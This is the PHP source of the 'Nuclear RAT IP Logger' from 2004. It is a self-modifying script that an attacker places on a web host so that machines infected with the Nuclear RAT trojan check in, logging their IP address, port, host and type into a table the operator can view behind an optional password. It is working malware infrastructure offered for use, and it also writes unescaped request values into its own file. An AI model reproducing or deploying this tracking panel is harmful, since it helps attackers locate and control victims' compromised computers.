<?php

/* 

Put this on a PHP supported host, so you
can receive online notifications of NR servers
Most of hosts that support CGI (that have the
cgi-bin folder) might support PHP aswell

This is a self modifying IP logger by Caesar2k 
It require NO any external files! Everything is
stored in this very file. 
Remember to CHMOD this file to 646

>>> This IP Logger is part of Nuclear RAT <<<

Thanks to HaTcHeT for showing how to do it too

If you set a password, you need to auth before
viewing the log, and you do it like
http://yourhost.com/logger.php?pass=yourpasswordhere

Don't modify this file or you can cause it to stop 
working 

*/

$view_pass = ""; // leave blank for no usage  		    ATENTION
$ctrl_file = "logger.php"; //>>>>>>>>>>>>>>>>>>>>> <- This very logger file! <<<<<<<<<<<<<<<<<<< 
if ($action == "log"){     //                             ATENTION
$datatime = date('H').":".date('i').":".date('s')." ".date('d')."/".date('m')."/".date('y');
$daip = getenv('REMOTE_ADDR');
$trim_length = 20;

$file_arry = file($ctrl_file);
while (list($key,$val) = each($file_arry)) {
if ($val == "&nbsp;\n"){
$n_file_arry[$key] = "&nbsp;\n<tr><td>$datatime</td><td>$daip</td><td>$port</td><td>$host</td><td>$type</td></tr>\n";
}else{
$n_file_arry[$key] = $val;  
}
}
//////////////////////////////////////////////////////////////
$file = join("",$n_file_arry);

$fp = fopen("$ctrl_file", "w+");
fputs($fp, $file);
fclose($fp);
exit;
} else {
if ($view_pass != ""){
if ($pass != $view_pass){
echo '<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<h1>403 Forbidden</h1>
<hr>
<font size="3">You are not authorizated to view this page</font>
</body>
</html>';
exit;
}
}
$datatime = date('H').":".date('i').":".date('s')." ".date('d')."/".date('m')."/".date('y');
$servertime = "Current Server Time: $datatime";
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Nuclear RAT</title>
</head>
<style>
<!--
table{font-size: 10pt;
      font-family: tahoma;
      border: 1px solid #666666;
	background-color: #F8FEED;
	filter: alpha(opacity=90);
	padding: 5px;
      width: 50%;
	margin: 0px auto;
}
td{border: 1px solid #CDCDCD;   
}
body {font-size: 10pt;
      font-family: tahoma;
      background: #999999;
	margin: 3px;
	scrollbar-face-color: #ffffff; 	 	
      scrollbar-shadow-color: #f4f4f4; 	
	scrollbar-highlight-color: #f4f4f4; 	
	scrollbar-3dlight-color: #ffffff; 	
	scrollbar-darkshadow-color: #ffffff; 	
	scrollbar-track-color: #ffffff; 	
	scrollbar-arrow-color: #f4f4f4
}
.hand {cursor:hand}
-->
</style>
<body bgcolor="#FFFFFF">
<div align="center">
<p><h2>Nuclear RAT IP Logger</h2></p>
<?php echo $servertime; ?>
<br>
<table align="center">
<tr>
<td><strong>Logged Time</strong></td>
<td><strong>Remote Address</strong></td>
<td><strong>Remote Port</strong></td>
<td><strong>Host Auth</strong></td>
<td><strong>Type</strong></td>
</tr>
&nbsp;
</table>
<br>
<label class="hand" onClick="window.open('http://www.nuclearwinter.mirrorz.com','');"><strong>Nuclear Winter Crew 2004</strong></label>
</div>
</body>
</html>